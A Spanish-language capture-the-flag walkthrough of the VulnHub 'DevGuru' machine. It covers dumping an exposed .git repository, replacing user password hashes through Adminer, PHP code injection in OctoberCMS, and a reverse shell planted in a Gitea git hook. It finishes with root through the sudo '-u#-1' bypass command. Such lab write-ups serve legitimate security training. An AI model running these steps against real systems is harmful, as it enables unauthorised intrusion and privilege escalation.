¡Hola! Vamos a resolver de la máquina DevGuru
de dificultad “Media” de la plataforma VulnHub.
Técnicas Vistas:
- Web Enumeration
- Extracting the contents of .git directory - GitDumper
- Extracting the contents of .git directory - GitExtractor
- Information Leakage
- Gaining access to a Adminer 4.7.7 panel
- Generating a new bcrypt hash for a user in order to gain access to OctoberCMS backend
- OctoberCMS Exploitation - Markup + PHP Code Injection
- Abusing Adminer to gain access to Gitea
- Abusing Git Hooks (pre-receive) - Code Execution (User Pivoting)
- Abusing sudoers privilege (ALL, !root) NOPASSWD + Sudo version (u#-1) in order to become root
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre DevGuru
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Primero de todo necesitamos saber la IP de la máquina víctima que se encuentra funcionando dentro de nuestra red local. Procedemos a escanear todos los equipos de nuestra red local
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
arp-scan -I ens33 --localnet
❯ arp-scan -I ens33 --localnet
Interface: ens33, type: EN10MB, MAC: 00:0c:29:8d:05:79, IPv4: 192.168.1.148
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 e4:ca:12:8c:78:a5 zte corporation
192.168.1.134 9c:20:7b:b1:3e:47 Apple, Inc.
192.168.1.140 00:0c:29:0e:5e:0e VMware, Inc.
192.168.1.141 2c:f0:5d:0a:0a:f1 (Unknown)
192.168.1.135 4a:eb:12:03:0f:70 (Unknown: locally administered)
192.168.1.131 ac:67:84:98:f6:07 (Unknown)
192.168.1.137 f4:34:f0:50:7e:76 (Unknown)
192.168.1.129 c8:ff:77:4b:be:03 Dyson Limited
192.168.1.128 00:55:da:56:56:66 IEEE Registration Authority
Tras analizar la respuesta del escaneo observamos por el OUI (Organizationally unique identifier) 00:0c:29 que corresponde a VMWare Inc ya que la máquina víctima funciona bajo un entorno de virtualización VMWare por lo que su IP es 192.168.1.138
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 192.168.1.140
PING 192.168.1.140 (192.168.1.140) 56(84) bytes of data.
64 bytes from 192.168.1.140: icmp_seq=1 ttl=64 time=42.3 ms
--- 192.168.1.140 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 64.
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
6
7
nmap -p- --open --min-rate 5000 -vvv -n -Pn 192.168.1.140 -oG allPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
8585/tcp open unknown syn-ack ttl 64
MAC Address: 00:0C:29:0E:5E:0E (VMware)
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
nmap -sCV -p22,80,8585 192.168.1.140 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
| 256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_ 256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Corp - DevGuru
| http-git:
| 192.168.1.140:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-generator: DevGuru
|_http-server-header: Apache/2.4.29 (Ubuntu)
8585/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=60ecd7a8301bf105; Path=/; HttpOnly
| Set-Cookie: _csrf=VluJNJ4LW_nwHbcsR4od-V2-Mfw6MTY2OTE0OTE5NzYzNzc1ODMxMg; Path=/; Expires=Wed, 23 Nov 2022 20:33:17 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 22 Nov 2022 20:33:17 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
Reconocimiento Web
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
❯ whatweb http://192.168.1.140
http://192.168.1.140 [200 OK] Apache[2.4.29], Cookies[october_session], Country[RESERVED][ZZ], Email[support@devguru.loca,support@gmail.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], HttpOnly[october_session], IP[192.168.1.140], MetaGenerator[DevGuru], Script, Title[Corp - DevGuru], X-UA-Compatible[IE=edge]
Abrimos el navegador y accedemos a la dirección de la máquina en los puertos 80 y 8585. En el puerto 80 vemos un servicio web mientras que en el 8585 observamos la página inicial de Gitea
Fuzzing
Iniciamos el reconocimiento de potenciales rutas de acceso web para el puerto 80.
En esta ocasión usaremos la herramienta wfuzz con un total de 200 hilos (-t 200)
y utilizando el diccionario directory-list-2.3-medium.txt
de nuestro repositorio de confianza SecLists de Daniel Miessler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/common.txt http://192.168.1.140/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.140/FUZZ
Total requests: 4713
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000011: 200 11 L 29 W 276 Ch ".git/config"
000000010: 200 1 L 2 W 23 Ch ".git/HEAD"
000000017: 200 32 L 38 W 413 Ch ".gitignore"
000000012: 200 976 L 5561 W 310040 Ch ".git/index"
000000194: 200 477 L 1390 W 18661 Ch "About"
000000328: 200 266 L 788 W 10032 Ch "Services"
000000008: 301 9 L 28 W 313 Ch ".git"
000000459: 200 477 L 1390 W 18661 Ch "about"
000000787: 302 11 L 22 W 410 Ch "backend"
000000024: 200 52 L 146 W 1678 Ch ".htaccess"
000001209: 301 9 L 28 W 315 Ch "config"
000000096: 200 330 L 1034 W 12669 Ch "0"
000002193: 200 330 L 1034 W 12719 Ch "index.php"
000002719: 301 9 L 28 W 316 Ch "modules"
000003151: 301 9 L 28 W 316 Ch "plugins"
000003715: 200 266 L 788 W 10032 Ch "services"
000003963: 301 9 L 28 W 316 Ch "storage"
000004137: 301 9 L 28 W 315 Ch "themes"
000004380: 301 9 L 28 W 315 Ch "vendor"
Observamos en los resultados el directorio /backend/
. Accedemos y encontramos el panel de login del CMS October
Por la información revelada por Wappalyzer
nos damos cuenta de que la herramienta que se utiliza para administrar contenido en bases de datos es Adminer 4.7.7
. Una búsqueda en google nos revela el acceso al panel de login accediendo a /adminer.php
Reconocimiento Web
Los resultados del escaneo por nmap
revela un directorio /.git/
. Accedemos pero no sacamos mucha info
Podemos utilizar la herramienta gitdumper
que podemos encontrar en GitTools para descargarnos el repositorio almacenado
1
2
3
4
./gitdumper.sh http://192.168.1.140/.git/ /home/yorch/Labs/VulnHub/Devguru1/content/git
.
.
.
una vez descargado utilizaremos la herramienta extractor
del mismo respoitorio para recomponer la estructura de carpetas del proyecto
1
2
3
4
./extractor.sh git/ fullproject/
.
.
.
una vez finalizada la operación tendremos un directorio /fullproject
con el repositorio clonado
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ ls -la
drwxr-xr-x root root 244 B Wed Nov 23 11:46:43 2022 .
drwxr-xr-x root root 84 B Wed Nov 23 11:45:55 2022 ..
drwxr-xr-x root root 38 B Wed Nov 23 11:45:56 2022 bootstrap
drwxr-xr-x root root 294 B Wed Nov 23 11:45:56 2022 config
drwxr-xr-x root root 32 B Wed Nov 23 11:46:15 2022 modules
drwxr-xr-x root root 14 B Wed Nov 23 11:46:39 2022 plugins
drwxr-xr-x root root 62 B Wed Nov 23 11:46:43 2022 storage
drwxr-xr-x root root 8 B Wed Nov 23 11:46:43 2022 themes
.rw-r--r-- root root 413 B Wed Nov 23 11:45:55 2022 .gitignore
.rw-r--r-- root root 1.6 KB Wed Nov 23 11:45:55 2022 .htaccess
.rw-r--r-- root root 354 KB Wed Nov 23 11:45:56 2022 adminer.php
.rw-r--r-- root root 1.6 KB Wed Nov 23 11:45:56 2022 artisan
.rw-r--r-- root root 167 B Wed Nov 23 11:45:55 2022 commit-meta.txt
.rw-r--r-- root root 1.1 KB Wed Nov 23 11:45:56 2022 index.php
.rw-r--r-- root root 1.5 KB Wed Nov 23 11:45:55 2022 README.md
.rw-r--r-- root root 551 B Wed Nov 23 11:46:39 2022 server.php
/home/y/L/Vu/De/c/fullproject/0-7de9115700c5656c670b34987c6fbffd39d90cf2 硫 ✔
Accediendo al directorio config
y examinando el archivo database.php
encontramos unas credenciales para mysql
Accedemos al panel de login de Adminer
y con las credenciales obtenidas accedemos al panel de control
Nos llama la atención la tabla backend_users
. Clickamos esta tabla y visualizamos contenido encontrando un usuario frank
junto su password hasheada
Podríamos tratar de crackear la password pero como tenemos la capacidad de modificar los registros de la tabla vamos a generar nuestro hash tipo bcrypt
y sustituir el del usuario frank. para ello utilizaremos la página Bcrypt-Generator
Con las credenciales modificadas nos legueamos en el panel de October CMS
y ganamos acceso
Accedemos a la pestaña CMS
en donde tenemos capacidad de modificar las páginas del CMS. Buscamos en Google cómo inyectar código PHP en October
En lugar de Hello World!
insertamos nuestro código PHP
Probamos que tengamos capacidad de ejecución remota de comandos en la página principal
Sabiendo que tenemos RCE ejecutamos el típico oneliner de bash para entablar una reverse shell con la máquina víctima. nos ponemos en escucha en el puerto 443 y ganamos acceso a la máquina víctima
1
2
3
4
5
6
7
8
9
❯ sudo nc -nlvp 443
[sudo] password for yorch:
listening on [any] 443 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.140] 54914
bash: cannot set terminal process group (1010): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devguru:/var/www/html$ whoami
whoami
www-data
Movimiento Lateral
Enumerando directorios accedemos a /var/backups
donde encontramos un archivo app.ini.bak
. Observando su contenido detalladamente localizamos las credenciales para mysql de gitea
Accedemos con estas credenciales a través del panel de login de Adminer
. En la base de datos gitea
vemos una tabla users
y visualizamos las credenciales para gitea
del usuario frank
. De la misma forma que antes como tenemos capacidad de cambiar la password, generamos una con Bcrypt-Generator y la guardamos. Esta vez tendremos que cambiar también el tipo de hash a bcrypt
Accedemos a la cuenta de gitea de frank
A partir de aquí navegamos a Profile
y accedemos al repositorio privado devguru-website
y una vez dentro navegamos a Settings > Git Hooks
para editar pre-receive
y añadir el oneliner de bash para entablar una reverse shell con el usuario frank
Guardamos cambios, nos abrimos un listener por el puerto 443 en nuestro equipo y para que ejecute el hook debemos hacer commit para guardar los cambios
1
2
3
4
5
6
7
8
9
❯ sudo nc -nlvp 443
[sudo] password for yorch:
listening on [any] 443 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.140] 55326
bash: cannot set terminal process group (674): Inappropriate ioctl for device
bash: no job control in this shell
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ whoami
whoami
frank
Podemos acceder a la flag de usuario en su directorio personal
1
2
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ cat /home/frank/user.txt
22854d0aec6ba776f***************
Escalada de Privilegios
Listamos privilegios de sudo y vemos que podemos ejecutar sqlite3
pero no como root
1
2
3
4
5
6
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ sudo -l
Matching Defaults entries for frank on devguru:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User frank may run the following commands on devguru:
(ALL, !root) NOPASSWD: /usr/bin/sqlite3
Buscamos en GTFOBins
y vemos como escalar privilegios
Si ejecutamos el oneliner obtenido en GTFOBins no conseguimos elevar privilegios. Nos fijamos en la versión de sudo que es la 1.8.21p2 y gracias a que tenemos una versión antigua de sudo tenemos una vía potencial de evitar restricciones de la siguiente forma
1
2
3
4
5
6
7
8
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'
root@devguru:~/gitea-repositories/frank/devguru-website.git# whoami
root
Ya podemos acceder a la flag de root en el directorio /root
1
2
root@devguru:~/gitea-repositories/frank/devguru-website.git# cat /root/root.txt
96440606fb88aa749***************
Hemos completado la máquina DevGuru de VulnHub!! Happy Hacking!!